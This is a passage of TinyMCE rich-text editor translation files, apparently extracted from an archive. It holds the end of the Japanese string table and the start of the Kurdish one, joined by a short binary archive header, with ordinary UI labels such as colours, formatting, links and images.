"Loading emoticons...": "\u7d75\u6587\u5b57\u3092\u8aad\u307f\u8fbc\u3093\u3067\u3044\u307e\u3059...",
"Could not load emoticons": "\u7d75\u6587\u5b57\u304c\u8aad\u307f\u8fbc\u3081\u307e\u305b\u3093\u3067\u3057\u305f\u3002",
"People": "\u4eba",
"Animals and Nature": "\u52d5\u7269\u3068\u81ea\u7136",
"Food and Drink": "\u98df\u3079\u7269\u3068\u98f2\u307f\u7269",
"Activity": "\u884c\u52d5",
"Travel and Places": "\u65c5\u884c\u3068\u5834\u6240",
"Objects": "\u7269",
"Flags": "\u65d7",
"Characters": "\u6587\u5b57\u6570",
"Characters (no spaces)": "\u6587\u5b57\u6570 (\u30b9\u30da\u30fc\u30b9\u306a\u3057)",
"{0} characters": "{0}\u6587\u5b57",
"Error: Form submit field collision.": "\u30a8\u30e9\u30fc\uff1a\u30d5\u30a9\u30fc\u30e0\u9001\u4fe1\u30d5\u30a3\u30fc\u30eb\u30c9\u304c\u7af6\u5408\u3057\u3066\u3044\u307e\u3059\u3002",
"Error: No form element found.": "\u30a8\u30e9\u30fc\uff1a\u30d5\u30a9\u30fc\u30e0\u8981\u7d20\u304c\u898b\u3064\u304b\u308a\u307e\u305b\u3093\u3067\u3057\u305f\u3002",
"Update": "\u66f4\u65b0",
"Color swatch": "\u8272\u306e\u898b\u672c",
"Turquoise": "\u30bf\u30fc\u30b3\u30a4\u30ba",
"Green": "\u30b0\u30ea\u30fc\u30f3",
"Blue": "\u30d6\u30eb\u30fc",
"Purple": "\u30d1\u30fc\u30d7\u30eb",
"Navy Blue": "\u30cd\u30a4\u30d3\u30fc",
"Dark Turquoise": "\u30c0\u30fc\u30af\u30bf\u30fc\u30b3\u30a4\u30ba",
"Dark Green": "\u30c0\u30fc\u30af\u30b0\u30ea\u30fc\u30f3",
"Medium Blue": "\u30e1\u30c7\u30a3\u30a2\u30e0\u30d6\u30eb\u30fc",
"Medium Purple": "\u30df\u30c7\u30a3\u30a2\u30e0\u30d1\u30fc\u30d7\u30eb",
"Midnight Blue": "\u30df\u30c3\u30c9\u30ca\u30a4\u30c8\u30d6\u30eb\u30fc",
"Yellow": "\u30a4\u30a8\u30ed\u30fc",
"Orange": "\u30aa\u30ec\u30f3\u30b8",
"Red": "\u30ec\u30c3\u30c9",
"Light Gray": "\u30e9\u30a4\u30c8\u30b0\u30ec\u30fc",
"Gray": "\u30b0\u30ec\u30fc",
"Dark Yellow": "\u30c0\u30fc\u30af\u30a4\u30a8\u30ed\u30fc",
"Dark Orange": "\u30c0\u30fc\u30af\u30aa\u30ec\u30f3\u30b8",
"Dark Red": "\u30c0\u30fc\u30af\u30ec\u30c3\u30c9",
"Medium Gray": "\u30df\u30c7\u30a3\u30a2\u30e0\u30b0\u30ec\u30fc",
"Dark Gray": "\u30c0\u30fc\u30af\u30b0\u30ec\u30fc",
"Light Green": "\u30e9\u30a4\u30c8\u30b0\u30ea\u30fc\u30f3",
"Light Yellow": "\u30e9\u30a4\u30c8\u30a4\u30a8\u30ed\u30fc",
"Light Red": "\u30e9\u30a4\u30c8\u30ec\u30c3\u30c9",
"Light Purple": "\u30e9\u30a4\u30c8\u30d1\u30fc\u30d7\u30eb",
"Light Blue": "\u30e9\u30a4\u30c8\u30d6\u30eb\u30fc",
"Dark Purple": "\u30c0\u30fc\u30af\u30d1\u30fc\u30d7\u30eb",
"Dark Blue": "\u30c0\u30fc\u30af\u30d6\u30eb\u30fc",
"Black": "\u30d6\u30e9\u30c3\u30af",
"White": "\u30db\u30ef\u30a4\u30c8",
"Switch to or from fullscreen mode": "\u30d5\u30eb\u30b9\u30af\u30ea\u30fc\u30f3\u30e2\u30fc\u30c9\u5207\u66ff",
"Open help dialog": "\u30d8\u30eb\u30d7\u30c0\u30a4\u30a2\u30ed\u30b0\u3092\u958b\u304f",
"history": "\u5c65\u6b74",
"styles": "\u30b9\u30bf\u30a4\u30eb",
"formatting": "\u66f8\u5f0f",
"alignment": "\u914d\u7f6e",
"indentation": "\u30a4\u30f3\u30c7\u30f3\u30c8",
"Font": "\u30d5\u30a9\u30f3\u30c8",
"Size": "\u30b5\u30a4\u30ba",
"More...": "\u8a73\u7d30...",
"Select...": "\u9078\u629e...",
"Preferences": "\u30d7\u30ea\u30d5\u30a1\u30ec\u30f3\u30b9",
"Yes": "\u306f\u3044",
"No": "\u3044\u3044\u3048",
"Keyboard Navigation": "\u30ad\u30fc\u30dc\u30fc\u30c9\u30ca\u30d3\u30b2\u30fc\u30b7\u30e7\u30f3",
"Version": "\u30d0\u30fc\u30b8\u30e7\u30f3",
"Code view": "\u30b3\u30fc\u30c9\u8868\u793a",
"Open popup menu for split buttons": "\u5206\u5272\u30dc\u30bf\u30f3\u306e\u30dd\u30c3\u30d7\u30a2\u30c3\u30d7\u30e1\u30cb\u30e5\u30fc\u3092\u958b\u304f",
"List Properties": "\u7b87\u6761\u66f8\u304d\u306e\u30d7\u30ed\u30d1\u30c6\u30a3",
"List properties...": "\u7b87\u6761\u66f8\u304d\u306e\u30d7\u30ed\u30d1\u30c6\u30a3...",
"Start list at number": "\u756a\u53f7\u30ea\u30b9\u30c8\u306e\u958b\u59cb",
"Line height": "\u884c\u306e\u9ad8\u3055",
"comments": "\u30b3\u30e1\u30f3\u30c8",
"Format Painter": "\u66f8\u5f0f\u306e\u30b3\u30d4\u30fc\/\u8cbc\u308a\u4ed8\u3051",
"Insert\/edit iframe": "iframe\u306e\u633f\u5165\/\u7de8\u96c6",
"Capitalization": "\u5927\u6587\u5b57\u5316",
"lowercase": "\u5c0f\u6587\u5b57",
"UPPERCASE": "\u5927\u6587\u5b57",
"Title Case": "\u30bf\u30a4\u30c8\u30eb\u6587\u5b57",
"permanent pen": "\u86cd\u5149\u30da\u30f3",
"Permanent Pen Properties": "\u86cd\u5149\u30da\u30f3\u306e\u30d7\u30ed\u30d1\u30c6\u30a3",
"Permanent pen properties...": "\u86cd\u5149\u30da\u30f3\u306e\u30d7\u30ed\u30d1\u30c6\u30a3...",
"case change": "\u5927\u6587\u5b57\/\u5c0f\u6587\u5b57\u306e\u5909\u66f4",
"page embed": "\u30da\u30fc\u30b8\u57cb\u3081\u8fbc\u307f",
"Advanced sort...": "\u9ad8\u5ea6\u306a\u4e26\u3079\u66ff\u3048...",
"Advanced Sort": "\u9ad8\u5ea6\u306a\u4e26\u3079\u66ff\u3048",
"Sort table by column ascending": "\u5217\u306e\u6607\u9806\u3067\u8868\u3092\u4e26\u3079\u66ff\u3048\u308b",
"Sort table by column descending": "\u5217\u306e\u964d\u9806\u3067\u8868\u3092\u4e26\u3079\u66ff\u3048\u308b",
"Sort": "\u4e26\u3079\u66ff\u3048",
"Order": "\u9806\u5e8f",
"Sort by": "\u4e26\u3073\u66ff\u3048",
"Ascending": "\u6607\u9806",
"Descending": "\u964d\u9806",
"Column {0}": "\u5217 {0}",
"Row {0}": "\u884c {0}",
"Spellcheck...": "\u30b9\u30da\u30eb\u30c1\u30a7\u30c3\u30af ...",
"Misspelled word": "\u30b9\u30da\u30eb\u30df\u30b9\u306e\u5358\u8a9e",
"Suggestions": "\u63d0\u6848",
"Change": "\u5909\u66f4",
"Finding word suggestions": "\u5358\u8a9e\u306e\u63d0\u6848\u3092\u691c\u7d22",
"Success": "\u6210\u529f",
"Repair": "\u4fee\u5fa9",
"Issue {0} of {1}": "{1}\u306e{0}\u3092\u767a\u884c",
"Images must be marked as decorative or have an alternative text description": "\u753b\u50cf\u306f\u88c5\u98fe\u3068\u3057\u3066\u30de\u30fc\u30af\u3059\u308b\u304b\u3001\u4ee3\u66ff\u30c6\u30ad\u30b9\u30c8\u306e\u8aac\u660e\u304c\u5fc5\u8981\u3067\u3059",
"Images must have an alternative text description. Decorative images are not allowed.": "\u753b\u50cf\u306b\u306f\u4ee3\u66ff\u30c6\u30ad\u30b9\u30c8\u306e\u8aac\u660e\u304c\u5fc5\u8981\u3067\u3059\u3002\u88c5\u98fe\u7684\u306a\u753b\u50cf\u306f\u8a31\u53ef\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002",
"Or provide alternative text:": "\u307e\u305f\u306f\u4ee3\u66ff\u30c6\u30ad\u30b9\u30c8\u3092\u63d0\u4f9b:",
"Make image decorative:": "\u753b\u50cf\u3092\u88c5\u98fe\u7684\u306b\u3059\u308b:",
"ID attribute must be unique": "ID\u306e\u5c5e\u6027\u306f\u4e00\u610f\u3067\u3042\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059",
"Make ID unique": "ID\u3092\u4e00\u610f\u306b\u3059\u308b",
"Keep this ID and remove all others": "\u3053\u306eID\u3092\u4fdd\u6301\u3057\u3001\u4ed6\u306e\u3059\u3079\u3066\u3092\u524a\u9664\u3057\u307e\u3059",
"Remove this ID": "\u3053\u306eID\u3092\u524a\u9664\u3057\u307e\u3059",
"Remove all IDs": "\u3059\u3079\u3066\u306eID\u3092\u524a\u9664\u3057\u307e\u3059",
"Checklist": "\u30c1\u30a7\u30c3\u30af\u30ea\u30b9\u30c8",
"Anchor": "\u30a2\u30f3\u30ab\u30fc\uff08\u30ea\u30f3\u30af\u306e\u5230\u9054\u70b9\uff09",
"Special character": "\u7279\u6b8a\u6587\u5b57",
"Code sample": "\u30b3\u30fc\u30c9\u30b5\u30f3\u30d7\u30eb",
"Color": "\u30ab\u30e9\u30fc",
"Document properties": "\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u306e\u30d7\u30ed\u30d1\u30c6\u30a3",
"Image description": "\u753b\u50cf\u306e\u8aac\u660e\u6587",
"Image": "\u753b\u50cf",
"Insert link": "\u30ea\u30f3\u30af",
"Target": "\u30bf\u30fc\u30b2\u30c3\u30c8\u5c5e\u6027",
"Link": "\u30ea\u30f3\u30af",
"Poster": "\u4ee3\u66ff\u753b\u50cf\u306e\u5834\u6240",
"Media": "\u30e1\u30c7\u30a3\u30a2",
"Print": "\u5370\u5237",
"Prev": "\u524d",
"Find and replace": "\u691c\u7d22\u3068\u7f6e\u304d\u63db\u3048",
"Whole words": "\u5358\u8a9e\u5358\u4f4d\u3067\u691c\u7d22\u3059\u308b",
"Insert template": "\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306e\u633f\u5165"
});PK
h�\�3C	��program/js/tinymce/langs/ku.jsnu�[���tinymce.addI18n('ku',{
"Redo": "\u06a9\u0631\u062f\u0646\u06d5\u0648\u06d5",
"Undo": "\u06af\u06d5\u0695\u0627\u0646\u06d5\u0648\u06d5",
"Cut": "\u0628\u0695\u06cc\u0646",
"Copy": "\u0644\u06d5\u0628\u06d5\u0631\u06af\u0631\u062a\u0646\u06d5\u0648\u06d5",
"Paste": "\u0644\u06a9\u0627\u0646\u062f\u0646",
"Select all": "\u0647\u06d5\u06b5\u0628\u0698\u0627\u0631\u062f\u0646\u06cc \u0647\u06d5\u0645\u0648\u0648",
"New document": "\u0628\u06d5\u06b5\u06af\u06d5\u0646\u0627\u0645\u06d5\u06cc \u0646\u0648\u06ce",
"Ok": "\u0628\u0627\u0634\u06d5",
"Cancel": "\u067e\u0627\u0634\u06af\u06d5\u0632\u0628\u0648\u0648\u0646\u06d5\u0648\u06d5",
"Visual aids": "\u0647\u0627\u0648\u06a9\u0627\u0631\u06cc \u0628\u06cc\u0646\u06d5\u06cc\u06cc",
"Bold": "\u062a\u06c6\u062e\u06a9\u0631\u062f\u0646",
"Italic": "\u0644\u0627\u0631\u06a9\u0631\u062f\u0646",
"Underline": "\u0647\u06ce\u06b5 \u0628\u06d5\u0698\u06ce\u0631\u062f\u0627\u0646",
"Strikethrough": "\u0647\u06ce\u06b5 \u0628\u06d5\u0646\u0627\u0648\u062f\u0627\u0646",
"Superscript": "\u0633\u06d5\u0631\u0646\u0648\u0648\u0633",
"Subscript": "\u0698\u06ce\u0631\u0646\u0648\u0648\u0633",
"Clear formatting": "\u067e\u0627\u06a9\u06a9\u0631\u062f\u0646\u06d5\u0648\u06d5\u06cc \u0634\u06ce\u0648\u0627\u0632\u06a9\u0631\u062f\u0646",
"Align left": "\u0644\u0627\u06af\u0631\u062a\u0646\u06cc \u0686\u06d5\u067e",
"Align center": "\u0644\u0627\u06af\u0631\u062a\u0646\u06cc \u0646\u0627\u0648\u06d5\u0695\u0627\u0633\u062a",
"Align right": "\u0644\u0627\u06af\u0631\u062a\u0646\u06cc \u0695\u0627\u0633\u062a",
"Justify": "\u0647\u0627\u0648\u0695\u06ce\u06a9\u06cc ",
"Bullet list": "\u0644\u06cc\u0633\u062a\u06cc \u062e\u0627\u06b5",
"Numbered list": "\u0644\u06cc\u0633\u062a\u06cc \u0698\u0645\u0627\u0631\u06d5",
"Decrease indent": "\u06a9\u06d5\u0645\u06a9\u0631\u062f\u0646\u06cc \u0628\u06c6\u0634\u0627\u06cc\u06cc",
"Increase indent": "\u0632\u06cc\u0627\u062f\u06a9\u0631\u062f\u0646\u06cc \u0628\u06c6\u0634\u0627\u06cc\u06cc",
"Close": "\u062f\u0627\u062e\u0633\u062a\u0646",
"Formats": "\u0634\u06ce\u0648\u0627\u0632\u06a9\u0631\u062f\u0646\u06d5\u06a9\u0627\u0646",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u0648\u06ce\u0628\u06af\u06d5\u0695\u06d5\u06a9\u06d5\u062a \u067e\u0627\u06b5\u067e\u0634\u062a\u06cc \u062f\u06d5\u0633\u062a\u06a9\u06d5\u0648\u062a\u0646\u06cc \u0695\u0627\u0633\u062a\u06d5\u0648\u062e\u06c6\u06cc \u06a9\u0644\u06cc\u067e\u0628\u06c6\u0631\u062f \u0646\u0627\u06a9\u0627\u062a. \u062a\u06a9\u0627\u06cc\u06d5 \u0644\u06d5\u062c\u06cc\u0627\u062a\u06cc \u06a9\u0648\u0631\u062a\u0628\u0695\u06d5\u06a9\u0627\u0646\u06cc Ctrl+X\/C\/V \u062a\u06d5\u062e\u062a\u06d5\u06a9\u0644\u06cc\u0644 \u0628\u06d5\u06a9\u0627\u0631\u0628\u06ce\u0646\u06d5.",
"Headers": "\u0633\u06d5\u0631\u067e\u06d5\u0695\u06d5\u06a9\u0627\u0646",
"Header 1": "\u0633\u06d5\u0631\u067e\u06d5\u0695\u06d5 1",
"Header 2": "\u0633\u06d5\u0631\u067e\u06d5\u0695\u06d5 2",
"Header 3": "\u0633\u06d5\u0631\u067e\u06d5\u0695\u06d5 3",
"Header 4": "\u0633\u06d5\u0631\u067e\u06d5\u0695\u06d5 4",
"Header 5": "\u0633\u06d5\u0631\u067e\u06d5\u0695\u06d5 5",
"Header 6": "\u0633\u06d5\u0631\u067e\u06d5\u0695\u06d5 6",
"Headings": "\u0633\u06d5\u0631\u0628\u0627\u0628\u06d5\u062a\u06d5\u06a9\u0627\u0646",
"Heading 1": "\u0633\u06d5\u0631\u0628\u0627\u0628\u06d5\u062a 1",
"Heading 2": "\u0633\u06d5\u0631\u0628\u0627\u0628\u06d5\u062a 2",
"Heading 3": "\u0633\u06d5\u0631\u0628\u0627\u0628\u06d5\u062a 3",
"Heading 4": "\u0633\u06d5\u0631\u0628\u0627\u0628\u06d5\u062a 4",
"Heading 5": "\u0633\u06d5\u0631\u0628\u0627\u0628\u06d5\u062a 5",
"Heading 6": "\u0633\u06d5\u0631\u0628\u0627\u0628\u06d5\u062a 6",
"Preformatted": "\u067e\u06ce\u0634\u0634\u06ce\u0648\u0627\u0632\u06a9\u0631\u0627\u0648",
"Div": "Div",
"Pre": "Pre",
"Code": "\u06a9\u06c6\u062f",
"Paragraph": "\u0628\u0695\u06af\u06d5",
"Blockquote": "Blockquote",
"Inline": "\u0644\u06d5\u0633\u06d5\u0631\u062f\u06ce\u0631",
"Blocks": "\u0628\u0644\u06c6\u06a9\u06d5\u06a9\u0627\u0646",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u0644\u06a9\u0627\u0646\u062f\u0646 \u0626\u06ce\u0633\u062a\u0627 \u0644\u06d5 \u0628\u0627\u0631\u06cc \u062f\u06d5\u0642\u06cc \u0633\u0627\u062f\u06d5\u06cc\u06d5. \u0646\u0627\u0648\u06d5\u0695\u06c6\u06a9\u06d5\u06a9\u0627\u0646 \u062f\u06d5\u0644\u06a9\u06ce\u0646 \u0648\u06d5\u06a9 \u062f\u06d5\u0642\u06cc \u0633\u0627\u062f\u06d5 \u0647\u06d5\u062a\u0627 \u0626\u06d5\u0645 \u0647\u06d5\u06b5\u0628\u0698\u0627\u0631\u062f\u06d5 \u0646\u0627\u06a9\u0627\u0631\u0627 \u062f\u06d5\u06a9\u06d5\u06cc\u062a.",
"Fonts": "\u0641\u06c6\u0646\u062a\u06d5\u06a9\u0627\u0646",
"Font Sizes": "\u0642\u06d5\u0628\u0627\u0631\u06d5\u06cc \u0641\u06c6\u0646\u062a",
"Class": "\u067e\u06c6\u0644",
"Browse for an image": "\u0628\u06af\u06d5\u0695\u06ce \u0628\u06c6 \u0648\u06ce\u0646\u06d5\u06cc\u06d5\u06a9",
"OR": "OR",
"Drop an image here": "\u0648\u06ce\u0646\u06d5\u06cc\u06d5\u06a9 \u0695\u0627\u06a9\u06ce\u0634\u06d5 \u0628\u06c6 \u0626\u06ce\u0631\u06d5",
"Upload": "\u0628\u0627\u0631\u06a9\u0631\u062f\u0646",
"Block": "\u0628\u0644\u06c6\u06a9",
"Align": "\u0644\u0627\u06af\u0631\u062a\u0646",
"Default": "\u0628\u0646\u06d5\u0695\u06d5\u062a\u06cc",
"Circle": "\u0628\u0627\u0632\u0646\u06d5",
"Disc": "\u067e\u06d5\u067e\u06a9\u06d5",
"Square": "\u0686\u0648\u0627\u0631\u06af\u06c6\u0634\u06d5",
"Lower Alpha": "\u0626\u06d5\u0644\u0641\u0627\u06cc \u0628\u0686\u0648\u0648\u06a9",
"Lower Greek": "\u06cc\u06c6\u0646\u0627\u0646\u06cc \u0628\u0686\u0648\u0648\u06a9",
"Lower Roman": "\u0695\u06c6\u0645\u0627\u0646\u06cc \u0628\u0686\u0648\u0648\u06a9",
"Upper Alpha": "\u0626\u06d5\u0644\u0641\u0627\u06cc \u06af\u06d5\u0648\u0631\u06d5",
"Upper Roman": "\u0695\u06c6\u0645\u0627\u0646\u06cc \u06af\u06d5\u0648\u0631\u06d5",
"Anchor...": "\u0644\u06d5\u0646\u06af\u06d5\u0631...",
"Name": "\u0646\u0627\u0648",
"Id": "\u067e\u06ce\u0646\u0627\u0633\u06d5",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "\u067e\u06ce\u0646\u0627\u0633\u06d5 \u062f\u06d5\u0628\u06ce \u0628\u06d5 \u062d\u06d5\u0631\u0641\u06d5\u0648\u06d5 \u062f\u06d5\u0633\u062a \u067e\u06ce \u0628\u06a9\u0627\u060c \u0648 \u0628\u06d5 \u062d\u06d5\u0631\u0641\u060c \u0698\u0645\u0627\u0631\u06d5\u060c \u0628\u06d5\u0646\u062f\u06d5\u06a9\u060c \u062e\u0627\u06b5\u060c \u062c\u0648\u0648\u062a\u062e\u0627\u06b5 \u06cc\u0627\u0646 \u0628\u0646\u0647\u06ce\u06b5 \u062f\u0631\u06ce\u0698\u06d5\u06cc \u067e\u06ce \u0628\u062f\u0631\u06ce.",
"You have unsaved changes are you sure you want to navigate away?": "\u062a\u06c6 \u06af\u06c6\u0695\u0627\u0646\u06a9\u0627\u0631\u06cc\u06cc\u06d5\u06a9\u0627\u0646\u062a \u067e\u0627\u0634\u06d5\u06a9\u06d5\u0648\u062a \u0646\u06d5\u06a9\u0631\u062f\u0648\u0648\u06d5\u060c \u0626\u0627\u06cc\u0627 \u062f\u06b5\u0646\u06cc\u0627\u06cc\u062a \u0644\u06d5 \u062f\u06d5\u0631\u0686\u0648\u0648\u0646\u062a\u061f",
"Restore last draft": "\u06af\u06d5\u0695\u0627\u0646\u062f\u0646\u06d5\u0648\u06d5\u06cc \u062f\u0648\u0627\u06cc\u06cc\u0646 \u0695\u06d5\u0634\u0646\u0648\u0648\u0633",
"Special character...": "\u0646\u0648\u0648\u0633\u06d5 \u062a\u0627\u06cc\u0628\u06d5\u062a\u06d5\u06a9\u0627\u0646...",
"Source code": "\u06a9\u06c6\u062f\u06cc \u0633\u06d5\u0631\u0686\u0627\u0648\u06d5",
"Insert\/Edit code sample": "\u062a\u06ce\u062e\u0633\u062a\u0646\/\u0628\u0698\u0627\u0631\u06a9\u0631\u062f\u0646\u06cc \u0646\u0645\u0648\u0648\u0646\u06d5 \u06a9\u06c6\u062f",
"Language": "\u0632\u0645\u0627\u0646",
"Code sample...": "\u0646\u0645\u0648\u0648\u0646\u06d5 \u06a9\u06c6\u062f...",
"Color Picker": "\u0647\u06d5\u06b5\u0686\u0646\u06cc \u0695\u06d5\u0646\u06af",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "\u0686\u06d5\u067e \u0628\u06c6 \u0695\u0627\u0633\u062a",
"Right to left": "\u0695\u0627\u0633\u062a \u0628\u06c6 \u0686\u06d5\u067e",
"Emoticons...": "\u067e\u06ce\u06a9\u06d5\u0646\u06c6\u06a9...",
"Metadata and Document Properties": "\u0645\u06ce\u062a\u0627\u062f\u0631\u0627\u0648\u06d5 \u0648 \u062a\u0627\u06cc\u0628\u06d5\u062a\u0645\u06d5\u0646\u062f\u06cc\u06cc\u06d5\u06a9\u0627\u0646\u06cc \u0628\u06d5\u06b5\u06af\u06d5",
"Title": "\u0646\u0627\u0648\u0646\u06cc\u0634\u0627\u0646",
"Keywords": "\u06a9\u0644\u06cc\u0644\u0647\u200c\u0648\u0634\u0647\u200c\u06a9\u0627\u0646",
"Description": "\u0628\u0627\u0633\u06a9\u0631\u062f\u0646",
"Robots": "\u0695\u06c6\u0628\u06c6\u062a\u06d5\u06a9\u0627\u0646",
"Author": "\u0646\u0648\u0648\u0633\u06d5\u0631",
"Encoding": "\u0628\u06d5\u06a9\u06c6\u062f\u06a9\u0631\u062f\u0646",
"Fullscreen": "\u0695\u0648\u0648\u067e\u0695\u06cc",
"Action": "\u06a9\u0631\u062f\u0627\u0631",
"Shortcut": "\u0646\u0627\u0648\u0628\u0695",
"Help": "\u06cc\u0627\u0631\u0645\u06d5\u062a\u06cc",
"Address": "\u0646\u0627\u0648\u0646\u06cc\u0634\u0627\u0646",
"Focus to menubar": "\u0633\u06d5\u0631\u0646\u062c\u062f\u0627\u0646 \u0644\u06d5 \u0634\u0631\u06cc\u062a\u06cc \u0645\u06ce\u0646\u0648\u0648",
"Focus to toolbar": "\u0633\u06d5\u0631\u0646\u062c\u062f\u0627\u0646 \u0644\u06d5 \u0634\u0631\u06cc\u062a\u06cc \u0626\u0627\u0645\u06ce\u0631\u06d5\u06a9\u0627\u0646",
"Focus to element path": "\u0633\u06d5\u0631\u0646\u062c\u062f\u0627\u0646 \u0644\u06d5 \u0695\u06ce\u0686\u06a9\u06d5\u06cc \u0639\u0648\u0646\u0633\u0648\u0631",
"Focus to contextual toolbar": "\u0633\u06d5\u0631\u0646\u062c\u062f\u0627\u0646 \u0644\u06d5 \u0634\u0631\u06cc\u062a\u06cc \u0626\u0627\u0645\u06ce\u0631\u06cc \u062f\u06d5\u0642\u06cc",
"Insert link (if link plugin activated)": "\u062a\u06ce\u062e\u0633\u062a\u0646\u06cc \u0644\u06cc\u0646\u06a9 (\u0626\u06d5\u06af\u06d5\u0631 \u067e\u06ce\u0648\u06d5\u06a9\u0631\u0627\u0648 \u0686\u0627\u0644\u0627\u06a9 \u06a9\u0631\u0627\u0648\u06d5)",
"Save (if save plugin activated)": "\u067e\u0627\u0634\u06d5\u06a9\u06d5\u0648\u062a\u06a9\u0631\u062f\u0646 (\u0626\u06d5\u06af\u06d5\u0631 \u067e\u06ce\u0648\u06d5\u06a9\u0631\u0627\u0648\u06cc \u067e\u0627\u0634\u06d5\u06a9\u06d5\u0648\u062a\u06a9\u0631\u062f\u0646 \u0686\u0627\u0644\u0627\u06a9 \u06a9\u0631\u0627\u0648\u06d5)",
"Find (if searchreplace plugin activated)": "\u062f\u06c6\u0632\u06cc\u0646\u06d5\u0648\u06d5 (\u0626\u06d5\u06af\u06d5\u0631 \u067e\u06ce\u0648\u06d5\u06a9\u0631\u0627\u0648\u06cc \u062c\u06ce\u06af\u06c6\u0695\u06cc\u0646\u06cc \u06af\u06d5\u0695\u0627\u0646 \u0686\u0627\u0644\u0627\u06a9 \u06a9\u0631\u0627\u0648\u06d5)",
"Plugins installed ({0}):": "\u0626\u06d5\u0648 \u067e\u06ce\u0648\u06d5\u06a9\u0631\u0627\u0648\u0627\u0646\u06d5\u06cc \u062f\u0627\u0645\u06d5\u0632\u0631\u0627\u0648\u0646 ({0}):",
"Premium plugins:": "\u067e\u06ce\u0648\u06d5\u06a9\u0631\u0627\u0648\u06d5 \u067e\u0627\u0631\u06d5\u06cc\u06cc\u06cc\u06d5\u06a9\u0627\u0646:",
"Learn more...": "\u0632\u06cc\u0627\u062a\u0631 \u0628\u0632\u0627\u0646\u06d5...",
"You are using {0}": "\u062a\u06c6  {0} \u0628\u06d5\u06a9\u0627\u0631 \u062f\u06ce\u0646\u06cc",
"Plugins": "\u067e\u06ce\u0648\u06d5\u06a9\u0631\u0627\u0648\u06d5\u06a9\u0627\u0646",
"Handy Shortcuts": "\u0646\u0627\u0648\u0628\u0695\u06d5 \u062f\u06d5\u0633\u062a\u06cc\u06cc\u06d5\u06a9\u0627\u0646",
"Horizontal line": "\u0647\u06ce\u06b5\u06cc \u0626\u0627\u0633\u06c6\u06cc\u06cc",
"Insert\/edit image": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\/\u062f\u06d5\u0633\u062a\u06a9\u0627\u0631\u06cc \u0648\u06ce\u0646\u06d5",
"Image description": "\u0628\u0627\u0633\u06a9\u0631\u062f\u0646\u06cc \u0648\u06ce\u0646\u06d5",
"Source": "\u0633\u06d5\u0631\u0686\u0627\u0648\u06d5",
"Dimensions": "\u062f\u0648\u0648\u0631\u06cc\u06cc\u06d5\u06a9\u0627\u0646",
"Constrain proportions": "\u0695\u06d5\u0647\u06d5\u0646\u062f\u06cc \u0645\u06d5\u0631\u062c\u06d5\u06a9\u0627\u0646",
"General": "\u06af\u0634\u062a\u06cc",
"Advanced": "\u067e\u06ce\u0634\u06a9\u06d5\u0648\u062a\u0648\u0648",
"Style": "\u0634\u06ce\u0648\u0627\u0632",
"Vertical space": "\u0628\u06c6\u0634\u0627\u06cc\u06cc \u0633\u062a\u0648\u0648\u0646\u06cc",
"Horizontal space": "\u0628\u06c6\u0634\u0627\u06cc\u06cc \u0626\u0627\u0633\u06c6\u06cc\u06cc",
"Border": "\u0633\u0646\u0648\u0648\u0631",
"Insert image": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\u06cc \u0648\u06ce\u0646\u06d5",
"Image...": "\u0648\u06ce\u0646\u06d5...",
"Image list": "\u067e\u06ce\u0631\u0633\u062a\u06cc \u0648\u06ce\u0646\u06d5",
"Rotate counterclockwise": "Rotate counterclockwise",
"Rotate clockwise": "Rotate clockwise",
"Flip vertically": "Flip vertically",
"Flip horizontally": "Flip horizontally",
"Edit image": "Edit image",
"Image options": "Image options",
"Zoom in": "Zoom in",
"Zoom out": "Zoom out",
"Crop": "Crop",
"Resize": "Resize",
"Orientation": "Orientation",
"Brightness": "Brightness",
"Sharpen": "Sharpen",
"Contrast": "Contrast",
"Color levels": "Color levels",
"Gamma": "Gamma",
"Invert": "Invert",
"Apply": "Apply",
"Back": "Back",
"Insert date\/time": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\u06cc \u0695\u06c6\u0698\/\u06a9\u0627\u062a",
"Date\/time": "\u0695\u06ce\u06a9\u06d5\u0648\u062a\/\u06a9\u0627\u062a",
"Insert\/Edit Link": "\u062a\u06ce\u062e\u0633\u062a\u0646\/\u0628\u0698\u0627\u0631\u06a9\u0631\u062f\u0646\u06cc \u0628\u06d5\u0633\u062a\u06d5\u0631",
"Insert\/edit link": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\/\u062f\u06d5\u0633\u062a\u06a9\u0627\u0631\u06cc \u0628\u06d5\u0633\u062a\u06d5\u0631",
"Text to display": "\u062f\u06d5\u0642 \u0628\u06c6 \u067e\u06cc\u0634\u0627\u0646\u062f\u0627\u0646",
"Url": "\u0628\u06d5\u0633\u062a\u06d5\u0631",
"Open link in...": "\u06a9\u0631\u062f\u0646\u06d5\u0648\u06d5\u06cc \u0628\u06d5\u0633\u062a\u06d5\u0631 \u0644\u06d5...",
"Current window": "\u0647\u06d5\u0631\u0626\u06d5\u0645 \u067e\u06d5\u0646\u062c\u06d5\u0631\u06d5\u06cc\u06d5",
"None": "\u0647\u06cc\u0686",
"New window": "\u067e\u06d5\u0646\u062c\u06d5\u0631\u06d5\u06cc \u0646\u0648\u06ce",
"Remove link": "\u0633\u0695\u06cc\u0646\u06d5\u0648\u06d5\u06cc \u0628\u06d5\u0633\u062a\u06d5\u0631",
"Anchors": "\u0644\u06d5\u0646\u06af\u06d5\u0631\u06d5\u06a9\u0627\u0646",
"Link...": "\u0628\u06d5\u0633\u062a\u06d5\u0631...",
"Paste or type a link": "\u0644\u06a9\u0627\u0646\u062f\u0646 \u06cc\u0627\u0646 \u0646\u0648\u0648\u0633\u06cc\u0646\u06cc \u0628\u06d5\u0633\u062a\u06d5\u0631",
